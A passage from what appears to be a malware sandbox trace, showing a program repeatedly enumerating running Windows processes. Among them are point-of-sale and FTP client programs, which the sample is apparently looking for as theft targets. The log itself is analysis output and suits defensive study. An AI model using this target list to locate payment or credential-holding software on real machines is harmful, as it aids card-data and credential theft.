| out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0250.855] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0250.858] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0250.861] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0250.865] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0250.870] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0250.873] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0250.876] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0250.879] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0250.882] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0250.885] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0250.888] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0250.891] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0250.894] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0250.899] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0250.902] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0250.905] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0250.908] CloseHandle (hObject=0x2198) returned 1 [0250.908] Sleep (dwMilliseconds=0x64) [0250.921] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0250.941] Process32First (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.944] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0250.947] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0250.950] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.953] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0250.956] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.959] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0250.961] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0250.966] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0250.969] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.972] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.975] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0250.978] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.980] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.984] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.018] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.020] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.023] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.025] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.027] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0251.029] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0251.031] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0251.034] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.036] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0251.038] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0251.040] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0251.042] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0251.043] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0251.045] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0251.047] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0251.049] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.052] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.054] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0251.055] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.057] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.059] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0251.060] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0251.062] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0251.064] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0251.066] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0251.068] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0251.071] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0251.074] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0251.076] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0251.079] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0251.081] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0251.083] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0251.086] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0251.088] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0251.090] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0251.092] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0251.095] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0251.097] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0251.099] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0251.102] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0251.105] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0251.107] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0251.109] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0251.112] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0251.115] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0251.119] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0251.122] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0251.125] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0251.150] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0251.184] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0251.187] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0251.191] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, 